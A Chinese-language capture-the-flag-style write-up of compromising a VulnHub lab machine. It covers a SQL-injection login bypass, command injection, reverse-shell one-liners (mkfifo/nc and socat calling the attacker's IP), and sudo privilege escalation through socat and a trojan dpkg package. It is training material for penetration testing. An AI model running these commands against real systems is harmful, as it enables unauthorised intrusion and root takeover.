VulnHub是一个安全平台,内含众多渗透测试的靶场镜像,只需要下载至本地并在虚拟机上运行,即可得到一个完整的渗透测试练习系统,每一个靶机都有目标去完成,大多是拿到root权限。
文章较臃长,记录了不断测试并完成目标的过程。
靶机:
该靶机设定敏感信息泄露、Web漏洞以及系统中sudo权限的不安全配置等漏洞。
环境:
流程:
Nmap主机扫描,开放端口比较多
Web指纹识别,出现一个可疑邮箱
dirb Web目录扫描,发现许多敏感路径
经过扫描,大致得到有以下信息:
主机:
Web敏感路径:
查看robots,给出 debug 目录
访问ftp服务器,发现两个可疑文件
压缩文件是加密的,尝试后没有打开,NOTES.txt 内容如下:
1)请为/debug Web目录选择一个更强的密码。
用户名为“admin”已经是可以猜测的了,但是选择字典密码是一个大大的禁忌。
2)请重新检查SQL代码以防止SQL注入,因为现在的方式是非常糟糕的。
基本上,我们希望并祈祷没有黑客发现这件事。
根据文件内容基本可以知道,存在一个admin的用户,而且密码很简单!再一个就是web站点可能存在SQL注入漏洞。
OK,访问Web站点,是一个登录框,爆破无果后,使用万能密码成功登入
admin
' or 1=1 #
提示如果发现漏洞就向 [email protected] 报告,给出了一个邮箱,再无其他信息,但是这个邮箱并没有成功用来打开压缩文件。
看一下debug路径,是一个需要帐户密码的连接页面,想到了之前的 NOTES.txt 提示,于是使用 admin admin
成功进入系统
是一个选择系统命令去执行的功能,自然想到任意命令执行漏洞,选择ifconfig,提交并打开BP抓包
修改命令为 cat /etc/passwd
,成功执行
存在任意命令执行漏洞,nc监听,建立反弹shell
但是使用 nc 来反弹一直未成功,后来才发现靶机上转的 nc 是没有 -e参数的 OpenBSD netcat ,所以不能直接使用以下语句建立shell(奇怪的是直接使用bash来建立shell也不可以):
nc 192.168.11.11 9999 -e /bin/bash
经过查询得知,可以使用以下语句来绕过 -e 参数
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.146.129 2333 >/tmp/f
原理如下:
mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路
具体见以下博文:
在查看权限以及SUID文件无线索后,在网站目录下发现了一个 db.php 文件,怀疑是数据库链接文件,打开果然是,有帐户密码
使用该账户成功登入网站的phpmyadmin后台,在 mydatabases库中发现了压缩文件的密码
还有两个登录帐户密码,经测试是主页存在sql注入处的账户,没有有用信息
使用得到的密码解开压缩文件,得到另一个密码
之前cat /etc/passwd时发现系统有四个用户:
外加一个root
根据 uid 以及查看用户目录的线索,怀疑是逐步提权
使用得到的密码:thisismypasswordforuserx2020
成功切换至 userx 用户
既然可以登录,那么就使用该账户来连接ssh服务吧,有自动补全,方便操作一些
查看sudo权限,发现了有一个 evdaez 用户权限的 /scripts/whatsmyid.sh
bash文件
但是该文件的所属是当前用户,那么就可以对文件经行编辑,使其执行/bin/bash文件即可
使用 sudo -u evdaez /scripts/whatsmyid.sh
即可提权至 evdaez 用户
查看当前用户下的 sudo 权限,果然发现了 researcherx 用户权限文件
是一个 socat 的二进制文件
socat 是一个多功能的网络工具,名字来由是“Socket CAT”,可以看作是netcat的加强版
在 https://gtfobins.github.io/ 上查一下相关提权命令,找到有反向shell的相关命令
使用以下命令成功提权至 researcherx 用户
kali:socat file:`tty`,raw,echo=0 tcp-listen:12345
靶机:sudo -u researcherx socat tcp-connect:192.168.11.11:12345 exec:/bin/sh,pty,stderr,setsid,sigint,sane
由于要保持完整的渗透步骤,所以将提权至 root 用户单独写出来
查看当前 researcherx 用户的sudo权限,发现了 dpkg 二进制文件
同样查找相关提权命令,查到2个,如下
但是我在 kali 上测试第一种就可以,而在靶机的 shell 中第一种就不行, -l 参数并没有逐行显示,所以只能使用第二种打包木马的方式。
先在kali上安装 fpm,网页中已经给出了 fpm 的 github 地址
FPM: 简单的说就是将一种类型的包转换成另外一种类型
但是直接下载github软件包后,并没有成功执行,所以干脆按照网上的额方法,使用 gem 来安装 fpm 程序,详见以下博文:
因为 kali 上已经有 ruby ,所以直接安装 rubygems,步骤也稍有不同
具体步骤:
apt-get install rubygems
gem sources -a http://mirrors.aliyun.com/rubygems/
gem sources --remove https://rubygems.org/
gem install fpm
成功安装 fpm
新建一个 bash 脚本文件并写入文档中的内容,赋予其执行权限
内容含义:
打包一个程序文件,让它在 install 之前执行指定命令:exec /bin/bash ,由此就可以提权至其他用户
运行 创建的 bash 文件即可生成木马程序包
kali 本地使用 python 打开一个 http 服务器,监听8800端口
通过wget将木马程序下载到靶机
利用 sudo -u root dpkg -i 软件包
即可提权至 root 权限
进入 root 目录,拿到 flag
整体步骤:
知识点:
socat 反弹shell
kali: socat file:tty
,raw,echo=0 tcp-listen:12345
靶机: sudo -u researcherx socat tcp-connect:192.168.11.11:12345 exec:/bin/sh,pty,stderr,setsid,sigint,sane
OpenBSD netcat 反弹shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.146.129 2333 >/tmp/f